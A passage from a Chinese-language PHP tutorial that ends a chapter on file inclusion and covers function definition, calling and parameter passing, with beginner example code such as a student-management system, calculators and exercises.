    // 4. 实现模板缓存
    // 5. 提供安全转义
    
    // 请完成代码...
    ?>
    

实战练习

  1. 小型框架

    <?php
    // 练习:创建小型MVC框架
    // 1. 实现路由系统
    // 2. 实现控制器加载
    // 3. 实现模型基类
    // 4. 实现视图渲染
    // 5. 支持配置管理
    
    // 请完成代码...
    ?>
    
  2. 插件系统

    <?php
    // 练习:实现插件系统
    // 1. 插件注册和加载
    // 2. 钩子(Hook)机制
    // 3. 插件配置管理
    // 4. 插件依赖检查
    // 5. 插件生命周期管理
    
    // 请完成代码...
    ?>
    

总结

包含文件是PHP中实现代码重用和模块化编程的核心机制。掌握好文件包含对于开发大型、可维护的PHP应用至关重要。以下是关键要点:

核心概念

  1. include:包含文件,失败时产生警告
  2. require:包含文件,失败时产生致命错误
  3. include_once:只包含一次,失败时产生警告
  4. require_once:只包含一次,失败时产生致命错误

选择建议

  • 关键文件:使用 requirerequire_once
  • 可选文件:使用 includeinclude_once
  • 避免重复:使用 _once 变体
  • 配置文件:使用 require_once

安全考虑

  1. 验证文件路径,防止目录遍历攻击
  2. 使用白名单机制控制可包含的文件
  3. 验证文件内容和扩展名
  4. 使用绝对路径避免相对路径问题
  5. 考虑使用自动加载替代手动包含

性能优化

  1. 合理使用 _once 避免重复包含
  2. 实现延迟加载减少启动时间
  3. 使用缓存机制提高包含效率
  4. 预加载关键文件
  5. 监控包含性能

最佳实践

  1. 统一的包含管理策略
  2. 清晰的目录结构和命名规范
  3. 模块化设计,职责分离
  4. 错误处理和日志记录
  5. 版本控制和依赖管理

通过大量的练习和实际应用,您将能够熟练运用文件包含机制来构建模块化、可维护的PHP应用程序。文件包含是PHP开发中的基础技能,掌握好它将大大提高您的开发效率和代码质量。

第4章:函数

函数是编程中最重要的概念之一,它让我们能够将代码组织成可重用的模块。通过函数,我们可以将复杂的问题分解成更小的、可管理的部分,提高代码的可读性、可维护性和重用性。

学习目标

完成本章学习后,你将能够:

  • 理解函数的概念和作用
  • 掌握函数的定义和调用方法
  • 学会使用参数传递数据
  • 理解返回值的概念和使用
  • 掌握变量作用域的规则
  • 了解PHP内置函数的使用
  • 能够编写可重用的函数模块

本章目录

什么是函数?

函数是一段可重用的代码块,它执行特定的任务。函数可以:

  • 接收输入数据(参数)
  • 处理数据
  • 返回结果(返回值)
  • 被多次调用

函数的优势

  1. 代码重用:一次编写,多处使用
  2. 模块化:将复杂问题分解成小模块
  3. 易维护:修改函数代码,所有调用处都受益
  4. 提高可读性:函数名描述功能,代码更清晰
  5. 便于测试:可以单独测试每个函数

函数的基本结构

function 函数名(参数1, 参数2, ...) {
    // 函数体:执行的代码
    return 返回值; // 可选
}

实际应用示例

让我们通过一个完整的学生管理系统来了解函数的实际应用:

<?php
    // 学生管理系统示例 - 展示函数的实际应用

    // ============================================================================
    // 学生数据管理函数
    // ============================================================================

    // 添加学生
    function addStudent(&$students, $name, $age, $grade, $email = '') {
        // 验证输入数据
        if (empty($name) || $age <= 0 || $grade < 1 || $grade > 12) {
            return [
                'success' => false,
                'message' => '学生信息不完整或无效'
            ];
        }

        // 检查学生是否已存在
        foreach ($students as $student) {
            if ($student['name'] === $name) {
                return [
                    'success' => false,
                    'message' => '学生已存在'
                ];
            }
        }

        // 创建新学生记录
        $newStudent = [
            'id' => generateStudentId($students),
            'name' => $name,
            'age' => $age,
            'grade' => $grade,
            'email' => $email,
            'created_at' => date('Y-m-d H:i:s'),
            'status' => 'active'
        ];

        // 添加到学生数组
        $students[] = $newStudent;

        return [
            'success' => true,
            'message' => '学生添加成功',
            'student' => $newStudent
        ];
    }

    // 生成学生ID
    function generateStudentId($students) {
        if (empty($students)) {
            return 'STU001';
        }

        $maxId = 0;
        foreach ($students as $student) {
            $idNumber = intval(substr($student['id'], 3));
            if ($idNumber > $maxId) {
                $maxId = $idNumber;
            }
        }

        return 'STU' . str_pad($maxId + 1, 3, '0', STR_PAD_LEFT);
    }

    // 查找学生
    function findStudent($students, $searchTerm, $searchType = 'name') {
        $results = [];
        $searchTerm = strtolower($searchTerm);

        foreach ($students as $student) {
            switch ($searchType) {
                case 'name':
                    if (strpos(strtolower($student['name']), $searchTerm) !== false) {
                        $results[] = $student;
                    }
                    break;
                case 'id':
                    if (strtolower($student['id']) === $searchTerm) {
                        return [$student]; // ID查找唯一,直接返回
                    }
                    break;
                case 'grade':
                    if ($student['grade'] == $searchTerm) {
                        $results[] = $student;
                    }
                    break;
            }
        }

        return $results;
    }

    // 删除学生
    function deleteStudent(&$students, $studentId) {
        $found = false;
        foreach ($students as $index => $student) {
            if ($student['id'] === $studentId) {
                array_splice($students, $index, 1);
                $found = true;
                break;
            }
        }

        return $found ?
            ['success' => true, 'message' => '学生删除成功'] :
            ['success' => false, 'message' => '学生不存在'];
    }

    // 更新学生信息
    function updateStudent(&$students, $studentId, $updateData) {
        foreach ($students as &$student) {
            if ($student['id'] === $studentId) {
                // 只更新允许的字段
                $allowedFields = ['name', 'age', 'grade', 'email', 'status'];
                foreach ($allowedFields as $field) {
                    if (isset($updateData[$field])) {
                        $student[$field] = $updateData[$field];
                    }
                }
                $student['updated_at'] = date('Y-m-d H:i:s');

                return [
                    'success' => true,
                    'message' => '学生信息更新成功',
                    'student' => $student
                ];
            }
        }

        return ['success' => false, 'message' => '学生不存在'];
    }

    // ============================================================================
    // 数据统计和分析函数
    // ============================================================================

    // 计算学生总数
    function getTotalStudents($students) {
        return count($students);
    }

    // 按年级统计学生数量
    function getStudentsByGrade($students) {
        $gradeStats = [];

        foreach ($students as $student) {
            $grade = $student['grade'];
            if (!isset($gradeStats[$grade])) {
                $gradeStats[$grade] = 0;
            }
            $gradeStats[$grade]++;
        }

        ksort($gradeStats); // 按年级排序
        return $gradeStats;
    }

    // 计算平均年龄
    function getAverageAge($students) {
        if (empty($students)) {
            return 0;
        }

        $totalAge = 0;
        foreach ($students as $student) {
            $totalAge += $student['age'];
        }

        return round($totalAge / count($students), 1);
    }

    // 获取年龄段分布
    function getAgeDistribution($students) {
        $ageGroups = [
            '6-10岁' => 0,
            '11-15岁' => 0,
            '16-18岁' => 0,
            '18岁以上' => 0
        ];

        foreach ($students as $student) {
            $age = $student['age'];
            if ($age <= 10) {
                $ageGroups['6-10岁']++;
            } elseif ($age <= 15) {
                $ageGroups['11-15岁']++;
            } elseif ($age <= 18) {
                $ageGroups['16-18岁']++;
            } else {
                $ageGroups['18岁以上']++;
            }
        }

        return $ageGroups;
    }

    // ============================================================================
    // 数据展示和格式化函数
    // ============================================================================

    // 显示学生列表
    function displayStudentList($students) {
        if (empty($students)) {
            echo "<p>暂无学生数据</p>";
            return;
        }

        echo "<table border='1' style='border-collapse: collapse; width: 100%;'>";
        echo "<tr style='background-color: #f2f2f2;'>";
        echo "<th>ID</th><th>姓名</th><th>年龄</th><th>年级</th><th>邮箱</th><th>状态</th><th>操作</th>";
        echo "</tr>";

        foreach ($students as $student) {
            $statusColor = $student['status'] === 'active' ? 'green' : 'red';
            $statusText = $student['status'] === 'active' ? '在读' : '离校';

            echo "<tr>";
            echo "<td>{$student['id']}</td>";
            echo "<td>{$student['name']}</td>";
            echo "<td>{$student['age']}</td>";
            echo "<td>{$student['grade']}年级</td>";
            echo "<td>" . ($student['email'] ?: '未填写') . "</td>";
            echo "<td style='color: {$statusColor}'>{$statusText}</td>";
            echo "<td><button onclick='editStudent(\"{$student['id']}\")'>编辑</button> ";
            echo "<button onclick='deleteStudent(\"{$student['id']}\")'>删除</button></td>";
            echo "</tr>";
        }

        echo "</table>";
    }

    // 显示统计信息
    function displayStatistics($students) {
        $totalStudents = getTotalStudents($students);
        $averageAge = getAverageAge($students);
        $gradeStats = getStudentsByGrade($students);
        $ageDistribution = getAgeDistribution($students);

        echo "<h3>统计信息</h3>";
        echo "<div style='display: flex; gap: 20px;'>";

        // 基本统计卡片
        echo "<div style='border: 1px solid #ddd; padding: 15px; border-radius: 5px;'>";
        echo "<h4>基本信息</h4>";
        echo "<p>学生总数: <strong>{$totalStudents}</strong></p>";
        echo "<p>平均年龄: <strong>{$averageAge}岁</strong></p>";
        echo "</div>";

        // 年级分布
        echo "<div style='border: 1px solid #ddd; padding: 15px; border-radius: 5px;'>";
        echo "<h4>年级分布</h4>";
        foreach ($gradeStats as $grade => $count) {
            echo "<p>{$grade}年级: <strong>{$count}人</strong></p>";
        }
        echo "</div>";

        // 年龄分布
        echo "<div style='border: 1px solid #ddd; padding: 15px; border-radius: 5px;'>";
        echo "<h4>年龄分布</h4>";
        foreach ($ageDistribution as $group => $count) {
            echo "<p>{$group}: <strong>{$count}人</strong></p>";
        }
        echo "</div>";

        echo "</div>";
    }

    // 格式化学生信息
    function formatStudentInfo($student) {
        return sprintf(
            "ID: %s | 姓名: %s | 年龄: %d | 年级: %d年级 | 状态: %s",
            $student['id'],
            $student['name'],
            $student['age'],
            $student['grade'],
            $student['status'] === 'active' ? '在读' : '离校'
        );
    }

    // ============================================================================
    // 数据验证函数
    // ============================================================================

    // 验证学生数据
    function validateStudentData($data) {
        $errors = [];

        // 验证姓名
        if (empty($data['name'])) {
            $errors[] = '姓名不能为空';
        } elseif (strlen($data['name']) < 2) {
            $errors[] = '姓名长度至少2个字符';
        }

        // 验证年龄
        if (!isset($data['age'])) {
            $errors[] = '年龄不能为空';
        } elseif (!is_numeric($data['age']) || $data['age'] < 6 || $data['age'] > 25) {
            $errors[] = '年龄必须在6-25岁之间';
        }

        // 验证年级
        if (!isset($data['grade'])) {
            $errors[] = '年级不能为空';
        } elseif (!is_numeric($data['grade']) || $data['grade'] < 1 || $data['grade'] > 12) {
            $errors[] = '年级必须在1-12年级之间';
        }

        // 验证邮箱(可选)
        if (!empty($data['email']) && !filter_var($data['email'], FILTER_VALIDATE_EMAIL)) {
            $errors[] = '邮箱格式不正确';
        }

        return $errors;
    }

    // ============================================================================
    // 导入导出函数
    // ============================================================================

    // 导出学生数据到CSV
    function exportToCSV($students, $filename = 'students.csv') {
        if (empty($students)) {
            return ['success' => false, 'message' => '没有数据可导出'];
        }

        $csv = "ID,姓名,年龄,年级,邮箱,状态,创建时间\n";

        foreach ($students as $student) {
            $statusText = $student['status'] === 'active' ? '在读' : '离校';
            $csv .= sprintf(
                "%s,%s,%d,%d,%s,%s,%s\n",
                $student['id'],
                $student['name'],
                $student['age'],
                $student['grade'],
                $student['email'],
                $statusText,
                $student['created_at']
            );
        }

        // 设置下载头
        header('Content-Type: text/csv');
        header('Content-Disposition: attachment; filename="' . $filename . '"');
        echo $csv;

        return ['success' => true, 'message' => '导出成功'];
    }

    // ============================================================================
    // 演示使用
    // ============================================================================

    // 初始化学生数组
    $students = [];

    echo "<h1>学生管理系统 - 函数应用示例</h1>";

    // 添加一些测试学生
    $result1 = addStudent($students, "张三", 15, 9, "zhangsan@email.com");
    $result2 = addStudent($students, "李四", 14, 8, "lisi@email.com");
    $result3 = addStudent($students, "王五", 16, 10);
    $result4 = addStudent($students, "赵六", 13, 7, "zhaoliu@email.com");

    // 显示添加结果
    echo "<h2>添加学生结果</h2>";
    echo "<p>" . $result1['message'] . "</p>";
    echo "<p>" . $result2['message'] . "</p>";
    echo "<p>" . $result3['message'] . "</p>";
    echo "<p>" . $result4['message'] . "</p>";

    // 显示学生列表
    echo "<h2>学生列表</h2>";
    displayStudentList($students);

    // 显示统计信息
    displayStatistics($students);

    // 搜索示例
    echo "<h2>搜索示例</h2>";
    $searchResults = findStudent($students, "张");
    if (!empty($searchResults)) {
        echo "<p>搜索结果:</p>";
        foreach ($searchResults as $student) {
            echo "<p>" . formatStudentInfo($student) . "</p>";
        }
    }

    // 更新示例
    echo "<h2>更新学生信息</h2>";
    $updateResult = updateStudent($students, "STU001", ['age' => 16, 'email' => 'zhangsan_new@email.com']);
    echo "<p>" . $updateResult['message'] . "</p>";

    // 数据验证示例
    echo "<h2>数据验证示例</h2>";
    $testData = [
        'name' => '',
        'age' => 5,
        'grade' => 13,
        'email' => 'invalid-email'
    ];
    $validationErrors = validateStudentData($testData);
    if (!empty($validationErrors)) {
        echo "<p style='color: red;'>验证错误:</p>";
        foreach ($validationErrors as $error) {
            echo "<p>• {$error}</p>";
        }
    }

    echo "<hr>";
    echo "<h3>函数调用总结:</h3>";
    echo "<ul>";
    echo "<li>addStudent() - 添加学生</li>";
    echo "<li>findStudent() - 查找学生</li>";
    echo "<li>updateStudent() - 更新学生信息</li>";
    echo "<li>getTotalStudents() - 获取学生总数</li>";
    echo "<li>getAverageAge() - 计算平均年龄</li>";
    echo "<li>getStudentsByGrade() - 按年级统计</li>";
    echo "<li>displayStudentList() - 显示学生列表</li>";
    echo "<li>validateStudentData() - 验证数据</li>";
    echo "<li>formatStudentInfo() - 格式化信息</li>";
    echo "<li>exportToCSV() - 导出数据</li>";
    echo "</ul>";
?>

函数的分类

1. 内置函数

PHP提供了大量的内置函数,如:

  • echo() - 输出内容
  • count() - 计算数组元素数量
  • date() - 格式化日期时间
  • strlen() - 获取字符串长度

2. 用户自定义函数

由开发者根据需求创建的函数,如上面的学生管理函数。

3. 匿名函数(闭包)

没有名称的函数,通常用于回调函数:

$students = array_filter($students, function($student) {
    return $student['age'] > 15;
});

学习建议

1. 从简单开始

  • 先理解函数的基本概念
  • 编写简单的单参数函数
  • 逐步增加复杂度

2. 多练习

  • 为常用功能编写函数
  • 练习参数传递和返回值
  • 理解作用域的概念

3. 遵循最佳实践

  • 给函数起有意义的名称
  • 保持函数简洁,单一职责
  • 添加适当的注释
  • 验证输入参数

4. 学习内置函数

  • 熟悉常用的内置函数
  • 查阅官方文档
  • 了解不同函数的使用场景

章节导航

接下来我们将深入学习:

  1. 函数定义与调用:学习如何创建和使用函数
  2. 参数传递:掌握各种参数传递方式
  3. 返回值:理解函数的返回机制
  4. 变量作用域:了解变量的作用范围
  5. 内置函数:探索PHP强大的函数库

每个章节都包含详细的语法说明、丰富的示例代码和实际应用案例,帮助你全面掌握PHP函数编程。


准备好了吗? 函数是编程的核心概念,掌握好函数将大大提高你的编程能力和代码质量!让我们开始深入学习PHP函数的各个知识点。

函数定义与调用

函数是PHP编程中最重要的概念之一。想象一下,如果每次想要执行相同的操作时都重复编写相同的代码,那将是多么低效和混乱。函数就是为了解决这个问题而诞生的!

什么是函数?

函数是一段可重复使用的代码块,它可以:

  • 接收输入数据(参数)
  • 执行特定的操作
  • 返回结果

把函数想象成一个"机器":你放入原材料(参数),机器处理后输出产品(返回值)。

<?php
// 这就是一个最简单的函数定义
function sayHello() {
    echo "你好,欢迎学习PHP!";
}

// 调用函数
sayHello();  // 输出:你好,欢迎学习PHP!
?>

函数定义的基本语法

基本结构

<?php
function 函数名(参数1, 参数2, ...) {
    // 函数体 - 这里是函数要执行的代码
    // 可以包含变量声明、逻辑处理、返回值等

    return 返回值;  // 可选的返回语句
}
?>

命名规则

函数名称必须遵循以下规则:

  1. 必须以字母或下划线开头
  2. 可以包含字母、数字和下划线
  3. 不区分大小写(这是PHP的特点)
  4. 不能与已有函数重名
<?php
// 正确的函数名
function calculateArea() { }
function get_user_info() { }
function _privateFunction() { }
function calculate123() { }

// 错误的函数名
// function 123calculate() { }     // 数字开头
// function calculate-area() { }   // 包含连字符

// 大小写不敏感 - 这三个函数名实际上是相同的
function myFunction() { }
function MYFUNCTION() { }
function myfunction() { }
// 如果定义了这三个,PHP会报错:函数已存在
?>

基本函数示例

简单的无参数函数

<?php
// 显示欢迎信息
function showWelcome() {
    echo "欢迎来到PHP学习网站!<br>";
    echo "在这里你将掌握Web开发的基础技能。<br>";
}

// 显示当前日期
function showCurrentDate() {
    $currentDate = date('Y年m月d日');
    echo "今天是:" . $currentDate . "<br>";
}

// 调用这些函数
showWelcome();
showCurrentDate();
?>

带参数的函数

<?php
// 个性化的问候函数
function greetUser($name) {
    echo "你好," . $name . "!很高兴见到你!<br>";
}

// 计算两个数的和
function addNumbers($num1, $num2) {
    $sum = $num1 + $num2;
    echo "$num1 + $num2 = $sum<br>";
}

// 显示学生信息
function displayStudentInfo($name, $age, $grade) {
    echo "学生姓名:$name<br>";
    echo "年龄:$age岁<br>";
    echo "年级:$grade<br>";
    echo "-------------------<br>";
}

// 调用带参数的函数
greetUser("张三");
greetUser("李四");

addNumbers(10, 20);
addNumbers(3.5, 2.7);

displayStudentInfo("王小明", 18, "高三");
displayStudentInfo("张小红", 17, "高二");
?>

带返回值的函数

<?php
// 计算圆的面积
function calculateCircleArea($radius) {
    $pi = 3.14159;
    $area = $pi * $radius * $radius;
    return $area;  // 返回计算结果
}

// 判断是否成年
function isAdult($age) {
    if ($age >= 18) {
        return true;   // 返回布尔值
    } else {
        return false;
    }
}

// 获取学生成绩等级
function getGradeLevel($score) {
    if ($score >= 90) {
        return "优秀";
    } elseif ($score >= 80) {
        return "良好";
    } elseif ($score >= 70) {
        return "中等";
    } elseif ($score >= 60) {
        return "及格";
    } else {
        return "不及格";
    }
}

// 使用返回值
$area1 = calculateCircleArea(5);
echo "半径为5的圆的面积是:" . $area1 . "<br>";

$area2 = calculateCircleArea(10);
echo "半径为10的圆的面积是:" . $area2 . "<br>";

$studentAge = 20;
if (isAdult($studentAge)) {
    echo "这个学生已经成年<br>";
} else {
    echo "这个学生还未成年<br>";
}

$score = 85;
$grade = getGradeLevel($score);
echo "学生成绩:$score,等级:$grade<br>";
?>

实际应用示例

简单计算器函数

<?php
// 加法函数
function add($a, $b) {
    return $a + $b;
}

// 减法函数
function subtract($a, $b) {
    return $a - $b;
}

// 乘法函数
function multiply($a, $b) {
    return $a * $b;
}

// 除法函数
function divide($a, $b) {
    if ($b == 0) {
        return "错误:除数不能为0";
    }
    return $a / $b;
}

// 计算器主函数
function calculator($num1, $operator, $num2) {
    switch ($operator) {
        case '+':
            return add($num1, $num2);
        case '-':
            return subtract($num1, $num2);
        case '*':
            return multiply($num1, $num2);
        case '/':
            return divide($num1, $num2);
        default:
            return "错误:不支持的操作符";
    }
}

// 使用计算器
$result1 = calculator(10, '+', 5);   // 15
$result2 = calculator(10, '-', 5);   // 5
$result3 = calculator(10, '*', 5);   // 50
$result4 = calculator(10, '/', 5);   // 2
$result5 = calculator(10, '/', 0);   // 错误信息

echo "计算结果:<br>";
echo "10 + 5 = $result1<br>";
echo "10 - 5 = $result2<br>";
echo "10 * 5 = $result3<br>";
echo "10 / 5 = $result4<br>";
echo "10 / 0 = $result5<br>";
?>

学生成绩管理系统

<?php
// 计算学生总分
function calculateTotal($chinese, $math, $english) {
    return $chinese + $math + $english;
}

// 计算学生平均分
function calculateAverage($total, $subjectCount = 3) {
    return round($total / $subjectCount, 2);
}

// 生成学生报告
function generateStudentReport($name, $chinese, $math, $english) {
    $total = calculateTotal($chinese, $math, $english);
    $average = calculateAverage($total);
    $grade = getGradeLevel($average);

    echo "=== 学生成绩报告 ===<br>";
    echo "姓名:$name<br>";
    echo "语文:$chinese 分<br>";
    echo "数学:$math 分<br>";
    echo "英语:$english 分<br>";
    echo "总分:$total 分<br>";
    echo "平均分:$average 分<br>";
    echo "等级:$grade<br>";
    echo "==================<br><br>";

    return [
        'name' => $name,
        'total' => $total,
        'average' => $average,
        'grade' => $grade
    ];
}

// 批量处理学生成绩
function processClassStudents($students) {
    $classReport = [];

    echo "=== 班级成绩总表 ===<br>";

    foreach ($students as $student) {
        $report = generateStudentReport(
            $student['name'],
            $student['chinese'],
            $student['math'],
            $student['english']
        );
        $classReport[] = $report;
    }

    return $classReport;
}

// 学生数据
$students = [
    ['name' => '张三', 'chinese' => 85, 'math' => 92, 'english' => 88],
    ['name' => '李四', 'chinese' => 76, 'math' => 89, 'english' => 95],
    ['name' => '王五', 'chinese' => 92, 'math' => 96, 'english' => 98],
    ['name' => '赵六', 'chinese' => 68, 'math' => 72, 'english' => 65]
];

// 处理班级成绩
$classData = processClassStudents($students);
?>

电商价格计算器

<?php
// 计算商品折扣价
function calculateDiscountPrice($originalPrice, $discountPercentage) {
    $discount = $originalPrice * ($discountPercentage / 100);
    $finalPrice = $originalPrice - $discount;
    return [
        'original_price' => $originalPrice,
        'discount_percentage' => $discountPercentage,
        'discount_amount' => $discount,
        'final_price' => $finalPrice
    ];
}

// 计算运费
function calculateShipping($weight, $distance) {
    // 基础运费计算
    $baseFee = 10;  // 基础费用10元
    $weightFee = $weight * 2;  // 每公斤2元
    $distanceFee = $distance * 0.1;  // 每公里0.1元

    $totalShipping = $baseFee + $weightFee + $distanceFee;

    // 最低运费5元,最高不超过100元
    if ($totalShipping < 5) {
        $totalShipping = 5;
    } elseif ($totalShipping > 100) {
        $totalShipping = 100;
    }

    return round($totalShipping, 2);
}

// 生成商品价格报告
function generatePriceReport($productName, $originalPrice, $discount, $weight, $distance) {
    echo "=== 商品价格计算报告 ===<br>";
    echo "商品名称:$productName<br>";

    // 计算折扣价格
    $priceInfo = calculateDiscountPrice($originalPrice, $discount);
    echo "原价:¥{$priceInfo['original_price']}<br>";
    echo "折扣:{$priceInfo['discount_percentage']}%<br>";
    echo "折扣金额:¥{$priceInfo['discount_amount']}<br>";
    echo "折后价:¥{$priceInfo['final_price']}<br>";

    // 计算运费
    $shipping = calculateShipping($weight, $distance);
    echo "商品重量:{$weight}kg<br>";
    echo "配送距离:{$distance}km<br>";
    echo "运费:¥$shipping<br>";

    // 计算总价
    $totalPrice = $priceInfo['final_price'] + $shipping;
    echo "总计:¥" . number_format($totalPrice, 2) . "<br>";
    echo "======================<br><br>";

    return [
        'product_name' => $productName,
        'original_price' => $priceInfo['original_price'],
        'final_price' => $priceInfo['final_price'],
        'shipping' => $shipping,
        'total_price' => $totalPrice
    ];
}

// 示例商品
generatePriceReport("智能手机", 2999, 15, 0.5, 20);
generatePriceReport("笔记本电脑", 5999, 10, 2.5, 50);
generatePriceReport("运动鞋", 399, 20, 1.2, 10);
?>

函数调用方式

直接调用

<?php
function showMessage($message) {
    echo $message;
}

// 直接调用
showMessage("Hello PHP!");
?>

通过变量调用(可变函数)

<?php
function hello() {
    echo "Hello!<br>";
}

function goodbye() {
    echo "Goodbye!<br>";
}

$funcName = "hello";
$funcName();  // 调用hello()函数

$funcName = "goodbye";
$funcName();  // 调用goodbye()函数
?>

在表达式中调用

<?php
function square($number) {
    return $number * $number;
}

// 在表达式中使用函数
$result = square(5) + square(3);  // 25 + 9 = 34
echo "5² + 3² = $result<br>";

// 在条件语句中使用
if (square(4) > 15) {
    echo "4的平方大于15<br>";
}
?>

最佳实践

1. 函数应该只做一件事

<?php
// 好的做法:函数职责单一
function calculateArea($width, $height) {
    return $width * $height;
}

function displayArea($area) {
    echo "面积是:$area";
}

// 不好的做法:函数做多件事
function calculateAndDisplayArea($width, $height) {
    $area = $width * $height;
    echo "面积是:$area";
    return $area;
}
?>

2. 使用有意义的函数名

<?php
// 好的命名
function calculateRectangleArea($width, $height) { }
function validateEmailAddress($email) { }
function connectToDatabase($host, $username, $password) { }

// 不好的命名
function ca($w, $h) { }
function chk($e) { }
function conn($h, $u, $p) { }
?>

3. 函数应该简洁

<?php
// 好的做法:简洁明了
function isValidEmail($email) {
    return filter_var($email, FILTER_VALIDATE_EMAIL) !== false;
}

// 不好的做法:过于复杂
function checkEmail($email) {
    $email = trim($email);
    if (empty($email)) {
        return false;
    }

    if (!preg_match('/^[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}$/', $email)) {
        return false;
    }

    if (strlen($email) > 254) {
        return false;
    }

    return true;
}
?>

常见错误和解决方案

1. 函数未定义错误

<?php
// 错误示例:调用不存在的函数
// myUndefinedFunction();  // 会报错:Call to undefined function

// 解决方案:先定义再调用
function myFunction() {
    echo "函数已定义";
}

myFunction();  // 正确调用
?>

2. 函数名冲突

<?php
// 如果定义了同名函数,PHP会报致命错误
// function test() { echo "第一个函数"; }
// function test() { echo "第二个函数"; }  // 报错

// 解决方案:使用不同的函数名
function testUser() { echo "用户测试"; }
function testAdmin() { echo "管理员测试"; }
?>

3. 参数数量错误

<?php
function greet($name) {
    echo "你好,$name!";
}

// greet();  // 警告:缺少参数
greet("张三");  // 正确
?>

4. 忘记返回值

<?php
function add($a, $b) {
    $sum = $a + $b;
    // 忘记return $sum;
}

$result = add(5, 3);
var_dump($result);  // 输出:NULL

// 解决方案:添加return语句
function addFixed($a, $b) {
    $sum = $a + $b;
    return $sum;
}

$result = addFixed(5, 3);
var_dump($result);  // 输出:int(8)
?>

练习题

基础练习

  1. 创建问候函数

    <?php
    // 创建一个函数personalGreeting,接收姓名和年龄两个参数
    // 输出个性化的问候信息
    
    // 你的代码
    
    // 测试
    personalGreeting("小明", 18);  // 应该输出:18岁的小明,你好!
    ?>
    
  2. 温度转换函数

    <?php
    // 创建函数celsiusToFahrenheit,将摄氏度转换为华氏度
    // 公式:华氏度 = 摄氏度 × 9/5 + 32
    
    // 你的代码
    
    // 测试
    echo celsiusToFahrenheit(0);    // 应该输出:32
    echo celsiusToFahrenheit(100);  // 应该输出:212
    ?>
    
  3. 判断奇偶数

    <?php
    // 创建函数isEven,判断一个数是否为偶数
    // 返回true或false
    
    // 你的代码
    
    // 测试
    var_dump(isEven(4));   // 应该输出:bool(true)
    var_dump(isEven(7));   // 应该输出:bool(false)
    ?>
    

进阶练习

  1. 创建计算器类函数

    <?php
    // 创建一个高级计算器函数,支持多种运算
    // 支持:+、-、*、/、^(幂运算)
    
    // 你的代码
    
    // 测试
    echo advancedCalculator(2, '^', 3);  // 应该输出:8
    echo advancedCalculator(10, '/', 2); // 应该输出:5
    ?>
    
  2. 学生成绩统计

    <?php
    // 创建一个函数,接收学生成绩数组
    // 返回最高分、最低分、平均分、及格率的统计信息
    
    // 你的代码
    
    $scores = [85, 92, 78, 65, 88, 95, 72, 58];
    $stats = analyzeScores($scores);
    print_r($stats);
    ?>
    

实战练习

  1. 商品库存管理系统

    <?php
    // 创建一套商品库存管理函数
    // 包含:添加库存、减少库存、检查库存、生成库存报告
    
    // 需要实现的函数:
    // addStock($product, $quantity)
    // reduceStock($product, $quantity)
    // checkStock($product)
    // generateInventoryReport()
    
    // 你的代码
    
    // 测试你的系统
    ?>
    
  2. 简单的用户认证系统

    <?php
    // 创建用户认证相关函数
    // 包含:注册用户、验证登录、生成用户信息
    
    // 需要实现的函数:
    // registerUser($username, $password, $email)
    // loginUser($username, $password)
    // getUserProfile($username)
    
    // 你的代码
    
    // 测试你的认证系统
    ?>
    

总结

函数是PHP编程的核心概念,掌握函数的定义和调用是成为优秀PHP开发者的基础。通过本章的学习,你应该能够:

  1. 理解函数的概念和作用
  2. 掌握函数定义的基本语法
  3. 学会创建带参数和返回值的函数
  4. 能够在实际项目中应用函数
  5. 遵循函数编写的最佳实践

记住,编写好的函数需要多加练习。在实际开发中,合理使用函数可以让代码更加清晰、可维护和可重用。

下一章我们将学习函数的高级特性,包括参数传递、返回值处理、变量作用域等更多有趣的内容。

参数传递

函数参数就像是函数的"输入接口",它们允许我们将数据传递给函数进行处理。理解参数传递机制是编写灵活、可重用函数的关键。

参数的基本概念

什么是参数?

参数是传递给函数的值,函数可以使用这些值来完成特定的任务。参数就像是给函数的"原材料",函数根据这些原材料来工作。

<?php
// $name 和 $message 都是参数
function greetUser($name, $message) {
    echo "$name, $message";
}

// 调用函数时传递具体的值(实参)
greetUser("小明", "欢迎来到PHP世界!");
?>

参数 vs 实参

  • 参数(Parameters):函数定义时声明的变量
  • 实参(Arguments):调用函数时传递的实际值
<?php
// $name 是参数(在函数定义中)
function sayHello($name) {
    echo "Hello, $name";
}

// "Alice" 是实参(在函数调用中)
sayHello("Alice");
?>

值传递 vs 引用传递

PHP支持两种参数传递方式:

1. 值传递(默认方式)

值传递意味着函数接收到的是参数值的副本,函数内部对参数的修改不会影响到外部的原变量。

<?php
function modifyValue($number) {
    $number = $number * 2;  // 修改的是副本
    echo "函数内部:$number<br>";  // 输出:20
}

$originalValue = 10;
echo "原始值:$originalValue<br>";  // 输出:10

modifyValue($originalValue);

echo "函数调用后:$originalValue<br>";  // 输出:10,原值未改变
?>

值传递的特点:

  • 安全性高,不会意外修改外部变量
  • 适合传递简单数据类型
  • 对于大对象可能影响性能(需要复制数据)

2. 引用传递

引用传递意味着函数接收到的是参数值的引用,函数内部对参数的修改会影响到外部的原变量。

<?php
function modifyByReference(&$number) {  // &符号表示引用传递
    $number = $number * 2;  // 修改的是原变量
    echo "函数内部:$number<br>";  // 输出:20
}

$originalValue = 10;
echo "原始值:$originalValue<br>";  // 输出:10

modifyByReference($originalValue);

echo "函数调用后:$originalValue<br>";  // 输出:20,原值被改变
?>

引用传递的特点:

  • 性能更好,不需要复制数据
  • 可以直接修改外部变量
  • 需要谨慎使用,避免意外的副作用

默认参数值

PHP允许为参数设置默认值。如果调用函数时不传递该参数,将使用默认值。

基本语法

<?php
function greetUser($name, $greeting = "你好") {
    echo "$greeting, $name!<br>";
}

// 提供所有参数
greetUser("小明", "早上好");  // 输出:早上好, 小明!

// 省略有默认值的参数
greetUser("小红");           // 输出:你好, 小红!
?>

默认参数的规则

  1. 默认参数必须放在非默认参数的后面
  2. 默认值必须是常量表达式,不能是变量或函数调用
<?php
// 正确的默认参数设置
function createUser($username, $email, $role = "user", $isActive = true) {
    echo "用户名:$username<br>";
    echo "邮箱:$email<br>";
    echo "角色:$role<br>";
    echo "状态:" . ($isActive ? "活跃" : "未激活") . "<br>";
}

// 错误的默认参数设置
// function badFunction($default = "value", $required) { }  // 语法错误
?>

实际应用示例

<?php
// 计算商品价格(含税)
function calculatePriceWithTax($basePrice, $taxRate = 0.08) {
    $tax = $basePrice * $taxRate;
    $totalPrice = $basePrice + $tax;
    return [
        'base_price' => $basePrice,
        'tax_rate' => $taxRate,
        'tax_amount' => $tax,
        'total_price' => $totalPrice
    ];
}

// 使用默认税率
$price1 = calculatePriceWithTax(100);
